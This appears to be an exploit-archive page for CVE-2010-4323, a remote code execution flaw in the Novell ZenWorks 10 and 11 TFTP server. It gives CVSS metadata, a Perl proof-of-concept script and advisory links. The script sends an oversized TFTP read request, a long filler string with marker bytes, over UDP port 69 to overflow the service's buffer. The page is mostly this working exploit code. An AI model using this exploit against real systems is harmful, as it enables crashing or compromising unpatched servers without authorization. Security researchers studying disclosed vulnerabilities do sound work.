Novell ZenWorks 10 & 11 TFTPD Remote Code Execution Vulnerability

2011.02.22

Credit: Francis Provencher

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-4323

CWE: 42fCWE-119

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#!/usr/bin/perl
## Source:
## http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=22&Itemid=22
use Getopt::Std;
use IO::Socket::INET;
$SIG{INT} = \&abort;
my $host = '192.168.100.24';
my $port = 69;
my $proto = 'udp';
my $sockType = SOCK_DGRAM;
my $timeout = 1;
my %opt;
my $opt_string = 'hH:P:t:';
getopts( "$opt_string", \%opt );
if (defined $opt{h}) {
usage()
}
my @commands = (
{Command => 'Send',
Data => "\x00\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x00\x00"},
);
my $sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Proto => $proto,
Type => $sockType,
Timeout => $timeout,
)
or die "socket error: $!\n\n";
print "connected to: $host:$port\n";
$sock->autoflush(1);
binmode $sock;
foreach my $command (@commands)
{
if ($command->{'Command'} eq 'Receive')
{
my $buf = receive($sock, $timeout);
if (length $buf)
{
print "received: [$buf]\n";
}
}
elsif ($command->{'Command'} eq 'Send')
{
print "sending: [".$command->{'Data'}."]\n";
send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n";
}
}
close ($sock);

References:

http://xforce.iss.net/xforce/xfdb/65438

http://www.zerodayinitiative.com/advisories/ZDI-11-089

http://www.vupen.com/english/advisories/2011/0425

http://www.securitytracker.com/id?1025092

http://www.securityfocus.com/bid/46434

http://www.securityfocus.com/archive/1/archive/1/516524/100/0/threaded

http://www.novell.com/support/viewContent.do?externalId=7007896

http://secunia.com/advisories/43379

See this note in RAW Version

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Novell ZenWorks 10 & 11 TFTPD Remote Code Execution Vulnerability

References:

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